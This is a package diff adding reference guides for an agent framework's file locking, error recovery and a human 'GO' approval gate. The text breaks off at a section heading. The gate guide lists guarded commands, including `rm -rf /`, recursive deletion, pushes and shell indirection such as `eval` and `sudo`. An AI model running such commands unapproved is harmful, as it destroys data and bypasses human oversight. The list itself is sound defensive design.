@hybridlabor-api/aos 4.2.0-beta.0 → 4.3.0

package/skills/global_config/bdbresilience/references/distributed-locking.md

@@ -0,0 +1,235 @@
+# 🔒 Reference Guide: Distributed File Locking & Concurrency Control
+
+**Pattern**: Pattern 2 — Mutual Exclusion & Concurrency Control  
+**Module**: `bdb-cicd-resilience/locking`  
+**Authoritative Source**: BDB Agent OS Concurrency Specification
+
+---
+
+## 1. Overview & Problem Statement
+
+In the BDB Agent OS multi-agent ecosystem, multiple autonomous agents, terminal sessions, and worktree subprocesses operate concurrently. Without rigorous synchronization, concurrent access to shared resources leads to critical data corruption:
+- **`production_artifacts/state.json` Overwrites**: Parallel agents clobbering each other's status, findings, and phase transitions.
+- **Git Branch & Worktree Collisions**: Concurrent `git checkout`, `git commit`, or branch operations producing index lock contention (`.git/index.lock`).
+- **Database Migration Races**: Competing processes applying conflicting schema alterations simultaneously.
+
+The Distributed Locking Engine provides deterministic mutual exclusion using atomic POSIX/APFS filesystem primitives, configurable lease timeouts, background heartbeat renewals, monotonic fencing tokens, and safe stale/orphan lock eviction.
+
+---
+
+## 2. Deterministic Atomic Locking Mechanics
+
+### POSIX Atomic Test-and-Set
+File creation with the flags `O_CREAT | O_EXCL` (Node.js flag `'wx'`) is guaranteed by POSIX and APFS kernel implementations to be strictly atomic.
+
+```
+Worker A (Attempt Acquire)                    Worker B (Attempt Acquire)
+           │                                             │
+           ├─────────────────────┬───────────────────────┤
+           │                     │                       │
+           ▼                     ▼                       ▼
+    [ open('...lock', 'wx') ]                 [ open('...lock', 'wx') ]
+           │                                             │
+     Kernel Awards                                 Kernel Rejects
+  File Descriptor (FD)                            with code EEXIST
+           │                                             │
+           ▼                                             ▼
+  [ Writes Metadata JSON ]                     [ Inspects Lock / Enters ]
+  [ Enters Critical Sec  ]                     [ Polling Backoff Retry  ]
+```
+
+If the lockfile already exists, the OS kernel immediately fails the call with `EEXIST` without modifying the target file, ensuring zero window for race conditions.
+
+### Pre-Serialization, and the window that remains
+1. The complete metadata JSON payload is formatted in memory *before* `fs.open(lockPath, 'wx')` is invoked.
+2. The payload is written through the returned file descriptor and `fsync`'d (`fileHandle.sync()`) **before the handle is published to the caller**.
+3. The descriptor is then **retained**, not closed. It is handed to the heartbeat manager and closed in `release()`. Every renewal writes through it, so a renewal can only ever land on the inode this holder created — never on whatever file currently occupies the path.
+
+What step 2 does *not* guarantee: the **containing directory is not `fsync`'d**, so on ext4 the directory entry itself may not survive a power cut. That is deliberate and is the safe failure direction here — a missing lock is recoverable, a phantom lock is not.
+
+The gap between `open('wx')` and the payload write is a real 0-byte window and cannot be closed from the writer side: `O_CREAT | O_EXCL` is the only atomic create-if-not-exists primitive available, and replacing it with temp+`rename()` would destroy mutual exclusion, because `rename()` overwrites its target unconditionally and every contender would win. The window is closed from the **reader** side instead, by the unreadable-lock grace in §4.
+
+### Structured Lock Metadata Schema
+```json
+{
+  "lockId": "7f8b9e20-94d3-4f2a-8b1a-9f5e1284d0a1",
+  "resource": "production_artifacts/state.json",
+  "ownerId": "pid_28419_9f5e1284",
+  "pid": 28419,
+  "acquiredAt": 1757083200000,
+  "heartbeatAt": 1757083210000,
+  "ttlMs": 10000,
+  "fencingToken": 42,
+  "hostname": "denck-studio.local"
+}
+```
+
+- **There is no `leaseExpiresAt` field.** The lease expiry is *derived* — `heartbeatAt + ttlMs` — and evaluated at the point of use. Storing it as well would create a second source of truth that can disagree with its own inputs on every heartbeat.
+- **`fencingToken`**: Monotonically increasing integer, allocated per lock path. **Advisory only** — see §7.
+- **`pid`** / **`hostname`**: Used together for liveness verification during eviction. The PID is only probed when `hostname` matches the local host, because PIDs are not meaningful across machines.
+
+### Lease expiry as seen by the holder
+
+`handle.isExpired()` does **not** read `heartbeatAt` from the metadata: that value is frozen at acquisition and only moved by `extend()`, so a healthy, actively-renewing lock would report expired the moment `ttlMs` elapsed. It reads the heartbeat manager's `lastRenewedAt` instead — the timestamp of the last write+truncate that actually resolved:
+
+```
+isExpired() === released || lockLost || Date.now() > lastRenewedAt + ttlMs
+```
+
+`withStateLock` relies on this: after the updater returns and before the state file is written, it throws rather than write if the lease was lost while the updater ran.
+
+---
+
+## 3. Lease Timeouts (TTL) & Background Heartbeat Renewal
+
+Static lockfiles are vulnerable to permanent deadlocks if the holding process crashes or is forcefully terminated (`SIGKILL`). The engine solves this using expiring leases backed by active background heartbeat renewal.
+
+### Heartbeat Renewal Architecture
+1. **Configurable TTL**: The code default is **`10,000 ms`** (`ttlMs` in `LockAcquisitionOptions`). That is aggressive for CI workloads, where a single step can block on a network call for longer than 10 s; **raise it explicitly** for CI-held locks. The default is a candidate for revision once real hold times are measurable against AOS.
+2. **Periodic Renewal Interval**: `heartbeatIntervalMs` defaults to `Math.max(10, Math.floor(ttlMs / 3))` — i.e. TTL/3 with a 10 ms floor, so a very short TTL cannot produce a busy timer.
+3. **In-place write through the retained descriptor.** Renewal does **not** use a temporary file and does **not** `rename()`. It writes the new payload at offset 0 through the fd retained from acquisition, then `truncate()`s to the new byte length. A tempfile+rename renewal would write by *path*, which is exactly how a holder ends up clobbering a successor's lock.
+
+Each tick:
+
+| Step | Condition | Outcome |
+|---|---|---|
+| 1 | read the file **by path**; `ENOENT` | lock lost |
+| 2 | present but unparseable | **skip the tick** — no write, no truncate, no `lastRenewedAt` advance, and *not* lock-lost |
+| 3 | `lockId` in the file ≠ our own | lock lost (evicted or stolen) |
+| 4 | match | `write(payload, 0)` through the fd, `truncate(Buffer.byteLength(payload))`, then record `lastRenewedAt` |
+
+**Step 2 is deliberate.** Step 1 reads by path and can legitimately catch a successor mid-write; treating one torn read as terminal would make a healthy lock self-evict. Skipping is not silent either — `lastRenewedAt` stops advancing, so *persistent* unparseability still terminates the lease exactly one `ttlMs` later through the ordinary expiry path.
+
+**The truncate in step 4 is not optional.** Writing a shorter payload at offset 0 leaves the tail of the previous one behind, producing permanently invalid JSON — which the §4 grace then hides for its full window, because these very writes keep refreshing `mtime`. `extend()` uses the same write+truncate and records `lastRenewedAt` only after **both** resolve, for the same reason.
+
+"Lock lost" means: stop the timer, close the fd, mark the handle released, fire `onEvicted`, and make `isExpired()` return `true`.
+
+```
+       [ Active Lock Lease (TTL: 15s) ]
+  0s   ├──────────────────────────────────────────────────┤ 15s
+       │                                                  │
+       ▼ (Heartbeat @ 5s)                                 │
+  5s   ├── In-place write + truncate (own fd) ────────────┤ 20s
+       │                                                  │
+       ▼ (Heartbeat @ 10s)                                │
+  10s  ├── In-place write + truncate (own fd) ────────────┤ 25s
+```
+
+### Release ordering
+
+`release()` sequences **stop heartbeat → close fd → unlink**, and that ordering satisfies two unrelated constraints at once. A refactor can satisfy either while breaking the other, and neither break is visible on the other's platform:
+
+1. **Stop before unlink** — otherwise a tick firing between the unlink and the stop reads `ENOENT` and fires `onEvicted` on a lock that was released normally: a self-inflicted false eviction signal.
+2. **Close before unlink** — otherwise Windows leaves a pending-delete entry and the next `open(lockPath, 'wx')` fails `EEXIST` against a file that is logically already gone.
+
+If the lease was already lost, `release()` skips the unlink entirely: the file at that path belongs to a successor now.
+
+---
+
+## 4. Safe Stale & Orphaned Lock Eviction Protocol
+
+When an agent encounters an existing lockfile, it must verify whether the lock is actively held or orphaned.
+
+**Eviction is detection, not prevention.** Step 6 narrows the decide-then-break window; it does not close it. Two processes on a POSIX filesystem cannot make "decide stale" and "break" one atomic operation without a shared arbiter. The actual guarantee is weaker and worth stating plainly: an owner whose live lock is wrongly broken **learns within one heartbeat interval**, via renewal step 3.
+
+### Multi-Step Eviction Verification
+1. **Existence**: `stat` the lockfile. `ENOENT` ⇒ `{evicted: false, reason: "not_found"}`.
+2. **Unreadable-lock grace**: a 0-byte *or* unparseable-JSON lockfile is evicted only once `Date.now() - stat.mtimeMs > grace`, where `grace = max(1000, callerTtlMs ?? 10000)`. Otherwise `not_stale`. This is what closes the 0-byte creation window from §2 without a debounce.
+3. **Process liveness**: inspect `lock.pid`, and only if `lock.hostname` is absent or matches the local host. Send POSIX signal 0 (`process.kill(pid, 0)`); `ESRCH` means the holding process is dead.
+4. **Clock-skew clamp**: `effectiveHeartbeat = Math.min(lock.heartbeatAt, Date.now())`. **There is no skew tolerance constant** — a future-dated heartbeat is clamped to now, and liveness and TTL both still run against it.
+5. **Lease floor**: `effectiveTtl = Math.max(callerTtlMs ?? 0, lock.ttlMs ?? 10000)`. A contender may *lengthen* the grace it extends to a holder; it may never *shorten* the lease the holder recorded. The lease is a property of the owner.
+6. **Revalidate immediately before the break**: re-read the file and compare `lockId` and `heartbeatAt` against the values the staleness decision was made on. Any change ⇒ `{evicted: false, reason: "race_lost"}` — most often a stalled holder that resumed and renewed.
+7. **Atomic rename break protocol**:
+   - Competing evictors never call `fs.unlink()` directly, as multiple processes could race and unlink a newly acquired legitimate lock.
+   - The evictor renames the stale lockfile to a unique quarantine path: `.evict.<uuid>`.
+   - Exactly one evictor succeeds. A competing evictor receives `ENOENT` — or, on Windows, `EPERM`/`EBUSY` because another process still holds the file open — and reports `reason: "race_lost"` in either case.
+   - The winning evictor immediately unlinks the quarantine file, and the caller retries acquisition.
+
+#### Why step 2 discriminates at all
+
+The grace tells crash debris apart from a live holder **only because renewal writes in place and therefore refreshes the file's `mtime` on every tick**. A live holder's unreadable moment is always young relative to `mtime`; genuine debris ages without bound because nothing writes to it. Do not make renewal lazy, conditional, or optional without re-deriving this check — it silently degrades into "evict anything unreadable after 1 s".
+
+Step 2 also cannot apply step 5's protection: there is by definition no parseable `ttlMs` to defend. When a contender passes a short TTL, **the 1000 ms floor is doing all of the safety work**, and a holder stalled mid-write for more than 1 s is evictable regardless of the lease it recorded. The window being protected is a single `write()` on an already-open fd, three orders of magnitude under the floor — a real ceiling, not a proof.
+
+### Clock skew, stated as a change of direction
+
+Earlier revisions of this guide documented a `+60000 ms` skew tolerance and said a future-dated lock was "treated as invalid". The code did neither: it returned `not_stale` for anything more than 1 s in the future, which made every future-dated lock **immortal — including one whose holder was provably dead**. Both the tolerance and that early return are gone. Step 4 clamps instead, so no number survives to be tuned.
+
+---
+
+## 5. State Partitioning vs. Locking in BDB Agent OS
+
+The BDB ecosystem balances coarse-grained locking with fine-grained partition isolation:
+
+```
++---------------------------------------------------------------------------------------+
+|                               Concurrency Strategy Selection                           |
++-------------------------------------------+-------------------------------------------+
+                                            |
+           ┌────────────────────────────────┴────────────────────────────────┐
+           ▼                                                                 ▼
+┌──────────────────────────────────────┐          ┌──────────────────────────────────────┐
+│       Parallel Build Fan-Out         │          │     Shared Mutable Resources         │
+│  (Engineering, UI/UX, Media Nodes)   │          │  (state.json, git branches, worktree)│
+├──────────────────────────────────────┤          ├──────────────────────────────────────┤
+│ Strategy: State Partitioning         │          │ Strategy: Distributed File Locking   │
+│ Each node writes isolated fragment:  │          │ Wrap mutation in withStateLock, which│
+│ production_artifacts/state.d/<id>.json│         │ serializes on the lock and writes the │
+│ Followed by single merge agent       │          │ STATE FILE via temp+rename           │
+└──────────────────────────────────────┘          └──────────────────────────────────────┘
+```
+
+---
+
+## 6. TypeScript API Usage Examples
+
+### Guarding Shared State Mutation
+```typescript
+import { withStateLock } from 'bdb-cicd-resilience/locking/index.js';
+
+await withStateLock(
+  'production_artifacts/state.json',
+  async (state) => {
+    state.phase = 'build';
+    state.artifacts.backend = 'production_artifacts/02_backend_schema.md';
+    state.findings.push({ id: 'F-ENG-02', status: 'fixed' });
+    return state; // Automatically written back via atomic rename
+  },
+  { ttlMs: 15000, acquireTimeoutMs: 10000 }
+);
+```
+
+### Resource Guard with Auto-Eviction
+```typescript
+import { acquireLock } from 'bdb-cicd-resilience/locking/index.js';
+
+const handle = await acquireLock('git_worktree_main', {
+  lockDir: '.git/locks',
+  ttlMs: 20000,
+  acquireTimeoutMs: 15000,
+  retryIntervalMs: 100,
+});
+
+try {
+  // Critical section
+  await performGitOperations();
+} finally {
+  await handle.release();
+}
+```
+
+### Inspecting a lock without taking it
+`inspectLock(resource, { lockDir })` returns the parsed metadata, or `null`. Because renewal writes in place, a reader can catch a torn write, so `inspectLock` **re-reads once after ~5 ms** before answering `null`. An unreadable lock is not evidence of no lock — the same argument as the §4 eviction grace, applied to a public query.
+
+---
+
+## 7. Known limitations
+
+These are load-bearing and deliberately not engineered away in this cycle. Do not design against a stronger guarantee than the ones listed here.
+
+- **Fencing tokens are advisory.** No resource in this library verifies a token, and the `.seq` counter backing them is written with a plain `writeFile` whose failure is swallowed — it is **not crash-durable**. Tokens are also allocated *before* the `open('wx')` attempt, so every losing poll burns one. They are strictly increasing per process, non-decreasing across a run, and **must not be relied on for cross-host safety** until some resource actually validates them.
+- **The default lock directory is `process.cwd()/.locks/`.** It follows the working directory of whichever process acquires, which is not the same thing as following the resource.
+- **No re-entrancy.** A second acquisition of a path already held by the same process fast-rejects without touching the filesystem. That is correct for a mutex, but it means a sibling async task in the same process fails fast rather than queuing. Distinguishing "same logical caller re-entering" from "sibling task waiting" needs a caller identity that no consumer currently supplies.
+- **`HeartbeatManager` is not part of the public barrel.** It requires the `lockId` and the fd from the acquiring `open('wx')`, neither of which a caller that did not acquire the lock can synthesise. That removes the *accidental* path to renewing someone else's lock, not the determined one — a caller can still open the path `r+` and copy the `lockId` out of the file. No file-based lock can prevent that.
+- **The containing directory is not `fsync`'d** on acquisition (§2).
+- **Windows behaviour is unverified.** The `EPERM`/`EBUSY` handling in the break protocol and in `release()` exists to be correct on Windows, but has never been executed on a Windows host.

package/skills/global_config/bdbresilience/references/error-recovery.md

@@ -0,0 +1,210 @@
+# 🔁 Reference Guide: Error Recovery & Fallback Routing
+
+**Pattern**: Pattern 1 — Agent Runtime & Tool Fault Tolerance  
+**Module**: `bdb-cicd-resilience/recovery`  
+**Authoritative Source**: BDB Agent OS Resilience Specification
+
+---
+
+## 1. Overview & Problem Statement
+
+Autonomous AI agents executing complex development cycles interface with numerous external boundaries: MCP servers, remote HTTP APIs, local compilers, and subprocess tools. In unhardened architectures, transient hiccups (such as an HTTP 429 rate limit or network socket drop) cause immediate agent crashes, session restarts, or synthetic hallucinations where the agent fabricates tool responses.
+
+The BDB Error Recovery Engine intercepts every runtime and tool failure, deterministically categorizing the error into a 4-tier taxonomy, executing exponential backoff with Full Jitter, diverting to secondary fallback tools when applicable, and escalating unrecoverable errors cleanly to human operators.
+
+---
+
+## 2. 4-Tier Failure Classification Taxonomy
+
+Every caught exception is inspected against error codes, HTTP status codes, error messages, and causal chains:
+
+```
+                          [ Caught Exception / Rejection ]
+                                         │
+                                         ▼
+                         ┌───────────────────────────────┐
+                         │      classifyError() Logic    │
+                         └───────────────┬───────────────┘
+                                         │
+         ┌──────────────────┬────────────┴───────────┬──────────────────┐
+         │                  │                        │                  │
+         ▼                  ▼                        ▼                  ▼
+  ┌──────────────┐   ┌──────────────┐         ┌──────────────┐   ┌──────────────┐
+  │  TRANSIENT   │   │  TOOL_FAULT  │         │     AUTH     │   │UNRECOVERABLE │
+  │ (429, 503,   │   │ (Crash, Bad  │         │  (401, 403,  │   │(Loop, Context│
+  │  ETIMEDOUT,  │   │  JSON, Schema│         │  Missing     │   │ Exhausted,   │
+  │  ECONNRESET) │   │  Mismatch)   │         │  API Token)  │   │ Fatal State) │
+  └──────┬───────┘   └──────┬───────┘         └──────┬───────┘   └──────┬───────┘
+         │                  │                        │                  │
+         ▼                  ▼                        ▼                  ▼
+  [Full Jitter      [Secondary Tool           [Escalate to       [Fail-Closed   ]
+   Retry Loop]       Fallback Routing]         Human Env Setup]   Escalation    ]
+```
+
+### Classification Matrix
+
+The checks run **in this order**, and the first match wins. The order is load-bearing: `ECONNREFUSED` is classified `transient`, not `tool_level_fault`, because the transient check is reached first.
+
+| # | Category | Actual signatures in `classifyError` | Can Retry? | Suggested Action | Handling Strategy |
+|---|----------|-------------------|------------|------------------|-------------------|
+| 1 | **`unrecoverable`** | loop phrases (`loop detected`, `no progress loop detected`, `identical reviewer finding ids`, `max iterations reached`, `infinite loop`); context exhaustion (`context overflow`, `context exhaustion`, `prompt length exceeds`); fatal state (`critical_fatal`, `corrupted state tree`, `fatal syntax in production`); a `SyntaxError` that is **not** about JSON | `false` | `escalate_to_human` | Immediate fail-closed escalation with full diagnostic payload. |
+| 2 | **`auth_credential`** | HTTP `401`/`403`; codes `EAUTH`, `UNAUTHORIZED`, `FORBIDDEN`, `AUTH_FAILED`; messages `unauthorized`, `forbidden`, `invalid token`, `invalid_token`, `missing api key`, `bad credentials`, `authentication failed` | `false` | `escalate_to_human` | Halt immediately. Do not retry credentials, and do not divert to another provider. |
+| 3 | **`transient`** | HTTP `429`/`502`/`503`/`504`; codes `ETIMEDOUT`, `ECONNRESET`, `ECONNREFUSED`, `EAI_AGAIN`, `ENOTFOUND`, `LOCK_TIMEOUT`, `TIMEOUT`, `ESOCKETTIMEDOUT`; messages `rate limit`, `too many requests`, `timed out`, `connection reset`, `network error`, `bad gateway`, `service unavailable`, `lock acquisition timed out` | `true` | `backoff_retry` | Full Jitter backoff up to `maxRetries`; a `Retry-After` sets the floor. |
+| 4 | **`tool_level_fault`** | MCP/tool crash, non-zero exit, schema argument mismatch, malformed JSON output | `true`, unless `context.hasFallback === false` | `fallback_route` (or `escalate_to_human` with no fallback) | Route to the registered secondary provider. |
+| 5 | **anything unrecognised** | terminal fall-through | `true` (fails open) | `fallback_route` | See §7 — this default is the opposite of the triage classifier's, deliberately. |
+
+`EACCES` is **not** an auth signature here despite being a permission error; unless its message matches one of the phrases above it falls through to row 5. `ENOENT` is not a signature at any row.
+
+---
+
+## 3. Full Jitter Exponential Backoff Algorithm
+
+Fixed delay retries and naive exponential backoffs create the **thundering herd problem**, where multiple concurrent agents or threads retry against a recovering service simultaneously, re-saturating the endpoint.
+
+### Mathematical Formulation
+The BDB Engine implements AWS-standard **Full Jitter**:
+
+$$T_{\text{wait}} = \text{random}(0, \, \min(T_{\max}, \, T_{\text{base}} \cdot 2^{\text{attempt}}))$$
+
+Where:
+- $T_{\text{base}}$: Base initial backoff duration (`baseDelayMs`, **default `100 ms`**)
+- $T_{\max}$: Ceiling duration cap (`maxDelayMs`, default `10,000 ms`)
+- $\text{attempt}$: Zero-indexed retry attempt count ($0, 1, 2, \dots$)
+- $\text{random}(0, X)$: Uniformly distributed pseudo-random value in $[0, X)$, floored to an integer
+
+Three behaviours of `calculateBackoff` that the formula does not show:
+- It returns **`-1`** once `attempt >= maxRetries` (default `3`) — a termination signal, not a delay. With the defaults, only attempts 0, 1 and 2 produce a wait.
+- `jitter: false` disables the randomisation and returns the clamped exponential window directly.
+- A parsed `Retry-After` acts as a **floor**, not a replacement: `delay = max(jitteredDelay, retryAfterMs)`. Per RFC 9110 a numeric `Retry-After` is delta-seconds unconditionally — there is no magnitude at which it becomes milliseconds — and the parsed value is clamped to `86,400,000 ms` so a broken or hostile server cannot pin a CI job indefinitely.
+
+### Concrete Progression Example, with $T_{\text{base}}$ set explicitly to $500\text{ ms}$, $T_{\max} = 10,000\text{ ms}$
+
+| Attempt | Exponential Window ($T_{\text{base}} \cdot 2^{\text{attempt}}$) | Clamped Ceiling | Jitter Range | Expected Average Wait |
+|:-------:|:---------------------------------------------------------------:|:---------------:|:------------:|:---------------------:|
+| 0 | $500 \cdot 2^0 = 500\text{ ms}$ | $500\text{ ms}$ | $0\text{ to }500\text{ ms}$ | $250\text{ ms}$ |
+| 1 | $500 \cdot 2^1 = 1,000\text{ ms}$ | $1,000\text{ ms}$ | $0\text{ to }1,000\text{ ms}$ | $500\text{ ms}$ |
+| 2 | $500 \cdot 2^2 = 2,000\text{ ms}$ | $2,000\text{ ms}$ | $0\text{ to }2,000\text{ ms}$ | $1,000\text{ ms}$ |
+| 3 | $500 \cdot 2^3 = 4,000\text{ ms}$ | $4,000\text{ ms}$ | $0\text{ to }4,000\text{ ms}$ | $2,000\text{ ms}$ |
+| 4 | $500 \cdot 2^4 = 8,000\text{ ms}$ | $8,000\text{ ms}$ | $0\text{ to }8,000\text{ ms}$ | $4,000\text{ ms}$ |
+| 5+ | $500 \cdot 2^5 = 16,000\text{ ms}$ | $10,000\text{ ms}$ (Capped) | $0\text{ to }10,000\text{ ms}$ | $5,000\text{ ms}$ |
+
+The table shows the clamping arithmetic only. With the default `maxRetries: 3`, attempts 3 and above never reach it — they return `-1`. The exponent is additionally capped at $2^{30}$ so a large attempt number cannot overflow to `Infinity`.
+
+---
+
+## 4. Secondary Tool Fallback Routing
+
+When a primary tool experiences a `tool_level_fault` (e.g. MCP bridge disconnect, malformed response payload), the recovery engine routes execution to a secondary fallback provider without interrupting the agent workflow.
+
+### Architecture
+1. **Fallback Registry** (`ToolRouter`): Maps primary tool identifiers to registered fallback tool **names** (strings, not functions).
+   - Example: `mcp_git_commit` → `cli_git_commit`
+   - Example: `mcp_file_search` → `find_by_name`
+2. **Execution Diversion**: `executeWithFallback` calls your `execute(toolName)` a second time with the fallback name. The caller owns the dispatch; the router only decides *whether* and *to what*.
+3. **Audit Logging**: Every decision is appended to a JSONL audit file — `auditFilePath` if supplied, otherwise `diversions.jsonl` in the process working directory.
+
+### The classification is a safety signal, not a log label
+
+`executeWithFallback` refuses to divert when `classifyError` returns `canRetry: false`. An `auth_credential` rejection must not be re-sent to a second provider — that is a data-egress decision — and an `unrecoverable` fault will fail there too. The suppression is still audited (`status: "escalated"`) and the **primary** error is rethrown. With no fallback registered at all, the primary error is rethrown without an audit entry.
+
+### Diversion Record Schema
+Fields are exactly `DiversionRecord`. There is no `success` or `durationMs` field; the outcome is carried by `status`.
+```json
+{
+  "timestamp": "2026-09-05T14:40:00.123Z",
+  "originalTool": "mcp_aftereffects_applyEffect",
+  "fallbackTool": "cli_ae_script_runner",
+  "errorCategory": "tool_level_fault",
+  "reason": "Connection reset on MCP socket port 9080",
+  "status": "diverted"
+}
+```
+`status` is one of `diverted` (fallback succeeded), `exhausted` (both failed — the **fallback** error is rethrown), or `escalated` (diversion suppressed by `canRetry: false`). `eventId`, `agentId` and `attempt` are optional and only written when supplied.
+
+---
+
+## 5. Anti-Hallucination Escalation Protocol
+
+### The Zero-Hallucination Mandate
+When retries are exhausted or when an error is classified as `unrecoverable` or `auth_credential`, the system must **NEVER**:
+- Fabricate synthetic data to "keep going".
+- Invent simulated success responses from tools.
+- Pretend an API call succeeded when it returned an error.
+
+### Structured Escalation Payload
+`escalateToHuman(error, context)` **returns** this payload. It does not write it anywhere — persisting it to `production_artifacts/state.json` is the caller's job. The shape is exactly `EscalationPayload`:
+
+```json
+{
+  "escalationType": "HUMAN_REVIEW_REQUIRED",
+  "phase": "escalated",
+  "needs_human": true,
+  "timestamp": "2026-09-05T14:52:11.004Z",
+  "classification": "unrecoverable",
+  "primaryFailure": {
+    "tool": "fetch_database_schema",
+    "errorCode": "ECONNREFUSED",
+    "message": "Connection refused at 10.0.0.4:5432",
+    "attempts": 4
+  },
+  "impactedResource": "production_artifacts/state.json",
+  "remediationOptions": [
+    "Inspect the raw stack trace and correct syntax or semantic errors in source code.",
+    "Verify database schema definitions and migration scripts.",
+    "Revert recent uncommitted modifications to restore known-healthy state."
+  ],
+  "antiHallucinationAssertion": "Fail-closed verification: No synthetic or hallucinated remediation applied. Execution halted awaiting explicit human review and authorization."
+}
+```
+
+`remediationOptions` is a fixed list selected by `classification` (with two message-keyword special cases for loop and context/token exhaustion) — it is a checklist, not a diagnosis of this specific failure. `tool` is read from `context.tool` or `context.originalTool`, `attempts` from `context.attempts` (default `1`), `impactedResource` from `context.impactedResource` or `context.resource`; `fallbacksAttempted` and `impactedResource` are omitted entirely when absent. `createEscalationPayload` is an alias for the same function.
+
+---
+
+## 6. TypeScript Implementation Example
+
+```typescript
+import {
+  classifyError,
+  calculateBackoff,
+  withRetry,
+  ToolRouter
+} from 'bdb-cicd-resilience/recovery/index.js';
+
+// Setup the fallback registry: primary tool name -> fallback tool NAME
+const router = new ToolRouter({ auditFilePath: 'production_artifacts/diversions.jsonl' });
+router.registerFallback('mcp_fetch', 'cli_fetch');
+
+async function callResilientTool(toolName: string, args: Record<string, unknown>) {
+  return await withRetry(
+    // router.execute passes the tool name to invoke; on a retryable primary
+    // failure it calls the same function again with the fallback name.
+    () => router.execute(toolName, (name) => invokeTool(name, args)),
+    { maxRetries: 3, baseDelayMs: 500, maxDelayMs: 10000 }
+  );
+}
+```
+
+`withRetry` classifies each caught error itself and rethrows immediately on `canRetry: false`, so an auth failure is not retried three times before escalating. `calculateBackoff(attempt, options, retryAfterMs?)` is exported separately for callers driving their own loop, and `BackoffEngine` wraps it with fixed options.
+
+---
+
+## 7. Opposite unknown-error defaults, and why they stay opposite
+
+`recovery/classifier.ts` and `triage/classifier.ts` both have a terminal fall-through for input they do not recognise, and the two point in **opposite directions**. This is deliberate, and changing either to match the other makes one of the two modules worse.
+
+| | `classifyError` (recovery) | `classifyDiagnostic` (triage) |
+|---|---|---|
+| Input | a live operational error from one in-flight call | a finished test or build log |
+| Unknown default | `tool_level_fault`, `canRetry: true` — **fails open** | `deterministic_code_regression`, `canAutoRetry: false` — **fails closed** |
+| Cost of being wrong | one extra bounded attempt | an unbounded CI loop re-running the pipeline against a real regression |
+
+**The retry budget is what makes the difference.** The recovery path has one — `withRetry`'s `maxRetries`, the router's single fallback hop — so an extra attempt is bounded and usually succeeds; failing closed there would page a human for every unrecognised transient. The triage path has no budget at all: a wrong "retryable" on a deterministic regression loops forever, while failing closed costs one human look. Consistently: when `context.hasFallback === false` the recovery path has no budget left either, and it escalates too.
+
+---
+
+## 8. Constraint: retries assume idempotency
+
+`withRetry` and `executeWithFallback` re-execute the operation you hand them. **They are safe only around idempotent operations.** A retried non-idempotent call — posting a PR comment, dispatching a workflow, triggering a deployment — can take effect more than once, and a diversion to a second provider can take effect on *both*. Nothing in this library detects or prevents that.
+
+No `idempotent` flag is offered, deliberately: with no real call sites it would be set to `true` by everyone by default and would document nothing. The real design belongs where the CI call sites exist, in the AOS integration cycle. Until then, the constraint is the caller's to honour.

package/skills/global_config/bdbresilience/references/two-phase-go-gate.md

@@ -0,0 +1,151 @@
+# 🚦 Reference Guide: Two-Phase Pre-Tool GO Gate Protocol
+
+**Pattern**: Pattern 4 — Pre-Tool Safety Interlock & Human Authorization  
+**Module**: `bdb-cicd-resilience/triage` (`gate.ts`)  
+**Authoritative Source**: BDB Agent OS Safety Specification & `~/.claude/hooks/go-gate.mjs`
+
+---
+
+## 1. Overview & Problem Statement
+
+Autonomous agents possessing terminal and filesystem capabilities can execute irreversible, high-consequence operations (e.g. `git push origin main`, `npm publish`, `rm -rf /`, or modifying production databases). In unhardened setups, agents may misinterpret ambiguous conversational cues (such as *"looks good, start updating"* or *"proceed"*) as blanket authorization for destructive actions.
+
+The BDB Two-Phase GO Gate is an absolute safety guardrail that programmatically enforces a strict separation between **Planning** and **Execution**, requiring an explicit, unadulterated human approval token—the literal single word `"GO"`—before unlocking guarded operations.
+
+---
+
+## 2. Two-Phase Lifecycle & Gate States
+
+```
+                [ User Request / Plan / Audit / Cycle Start ]
+                                      │
+                                      ▼
+                        ┌───────────────────────────┐
+                        │   Phase 1: Planning Mode  │ ◀── STRICT READ-ONLY MODE
+                        │ (Analysis, Specs, Probes, │     Allowed: view_file, grep_search,
+                        │  Typechecks, Test Runs)   │     tsc --noEmit, read-only commands
+                        └─────────────┬─────────────┘
+                                      │ Plan Complete / Quality Gate Passed
+                                      ▼
+                        ┌───────────────────────────┐
+                        │    Human Approval Gate    │ ◀── Prompt: "Antworte mit GO..."
+                        └─────────────┬─────────────┘
+                                      │
+                       ┌──────────────┴──────────────┐
+                       │ Transcript Scanner Analysis │
+                       └──────────────┬──────────────┘
+                                      │
+            ┌─────────────────────────┴─────────────────────────┐
+            ▼                                                   ▼
+  [ Last Human Msg != "GO" ]                          [ Last Human Msg == "GO" ]
+            │                                                   │
+            ▼                                                   ▼
+     [ GATE CLOSED ]                                      [ GATE OPEN ]
+   - Execution Blocked                                 - Guarded Tools Unlocked
+   - Exit Code 2 (caller's)                            - Caller appends its own
+   - Zero Mutating Actions                               state.approvals entry (§5)
+```
+
+---
+
+## 3. Guarded Operations & Hook Interception
+
+The gate operates as a `PreToolUse` hook (implemented via `~/.claude/hooks/go-gate.mjs` and `isGuardedCommand` / `verifyGoGate` in TypeScript). `isGuardedCommand` is **an allowlist, not a blocklist**, and it is evaluated in a fixed order. Only step 3 can ever return "not guarded".
+
+**1. Unconditional guard set, matched against the raw string, before any exemption is reachable.** These are not anchored to the start of the command, so a chained command is caught wherever the dangerous part sits:
+
+- **Remote Push**: `/\bgit\s+push\b/i`
+- **Package Publishing**: `/\bnpm\s+publish\b/i`, `/\byarn\s+publish\b/i`, `/\bpnpm\s+publish\b/i`
+- **Commit**: `/\bgit\s+commit\b/i`
+- **Deployment / release**: `/\bdeploy\b/i`, `/\brelease\b/i`
+- **Recursive Deletion**: `/\brm\s+-rf\b/i`
+- **Indirection and metacharacter markers**: `$(`, a backtick, `${`, `<(`, any `>` (covers `>`, `>>`, `>(`), the words `eval`, `exec`, `source`, `xargs`, `env`, `sudo`, `nohup`, an `sh|bash|zsh|dash|ksh -c` invocation, and a dot-source in command position.
+
+**2. Segment split.** The remainder is split on `;`, `&&`, `||`, `|`, `&`, and newline.
+
+**3. Whole-command allowlist.** The command is exempt only if **every** segment matches one read-only pattern anchored at *both* ends over the metacharacter-free argument charset `[-\w./=]`. The allowlist is exactly: `ls`, `pwd`, `cat`, `echo`, `git status`, `git log`, `git diff`.
+
+**4. Otherwise guarded.** Anything unrecognised returns `true`.
+
+Custom `guardedCommands` supplied through `GateVerificationOptions` are **additive** — they can only widen the guarded set. They never replace or disable the defaults.
+
+### What is *not* exempt
+
